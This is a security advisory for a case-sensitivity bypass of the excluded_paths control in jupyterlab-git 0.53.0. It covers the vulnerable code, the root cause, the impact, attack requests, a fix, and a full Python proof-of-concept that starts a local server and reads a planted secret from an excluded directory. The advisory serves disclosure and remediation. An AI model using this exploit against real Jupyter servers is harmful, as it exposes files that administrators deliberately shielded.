CVE-2026-54528

jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

# jupyterlab_git/handlers.py:84-92
async def prepare(self):
    """Check if the path should be skipped"""
    await ensure_async(super().prepare())
    path = self.path_kwargs.get("path")
    if path is not None:
        excluded_paths = self.git.excluded_paths
        for excluded_path in excluded_paths:
            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive
                raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

fnmatch.fnmatchcase("/project/secrets", "/project/secrets")  # True  — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")  # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

• Read file content at any git ref (/content endpoint)
• Read working tree files in the excluded directory
• View git status, log, diff on the excluded path
• Enumerate commits touching excluded files

Attack Scenario

• Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
• Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
• Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
• Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.

import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler  # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
    url = f"{BASE_URL}/git/{path_seg}{endpoint}"
    data = json.dumps(body or {}).encode()
    req = urllib.request.Request(url, data=data, method="POST",
        headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
def main():
    base_dir = tempfile.mkdtemp(prefix="jlgit_")
    workspace = os.path.join(base_dir, "workspace")
    repo_dir = os.path.join(workspace, "project")
    secret_dir = os.path.join(repo_dir, "secrets")
    os.makedirs(secret_dir)
    with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
        f.write(SECRET + "\n")
    git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
               "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
    subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
                   capture_output=True, check=True, env=git_env)
    config_path = os.path.join(base_dir, "jupyter_server_config.py")
    with open(config_path, "w") as f:
        f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
        f.write(f'c.ServerApp.token = "{TOKEN}"\n')
        f.write(f'c.ServerApp.open_browser = False\n')
        f.write(f'c.ServerApp.port = {PORT}\n')
        f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
        f.write(f'c.ServerApp.disable_check_xsrf = True\n')
        f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
    env = os.environ.copy()
    env["JUPYTER_CONFIG_DIR"] = base_dir
    env["JUPYTER_DATA_DIR"] = base_dir
    proc = subprocess.Popen(
        [sys.executable, "-m", "jupyter_server", f"--config={config_path}",
         "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
    for _ in range(30):
        try:
            req = urllib.request.Request(f"{BASE_URL}/api/status",
                                         headers={"Authorization": f"token {TOKEN}"})
            if urllib.request.urlopen(req, timeout=2).status == 200:
                break
        except (urllib.error.URLError, OSError):
            pass
        time.sleep(0.5)
    else:
        proc.kill()
        shutil.rmtree(base_dir, ignore_errors=True)
        sys.exit("server failed to start")
    try:
        # exclusion works
        code, _ = post("project/secrets", "/status")
        blocked = code == 404
        # bypass
        code, _ = post("project/Secrets", "/status")
        bypassed = code == 200
        # exfiltrate
        code, body = post("project/Secrets", "/content",
                          {"filename": "./cred.txt", "reference": {"git": "HEAD"}})
        content = body.get("content", "") if isinstance(body, dict) else ""
        exfiltrated = SECRET in content
        ok = blocked and bypassed and exfiltrated
        print(f"exclusion enforced (lowercase): {blocked}")
        print(f"bypass (case-varied):           {bypassed}")
        print(f"secret exfiltrated:             {exfiltrated}")
        print(f"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
        return ok
    finally:
        proc.terminate()
        proc.wait(timeout=5)
        shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
    sys.exit(0 if main() else 1)

pip install 'jupyterlab-git==0.53.0'
python poc.py

Fix

if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
    raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.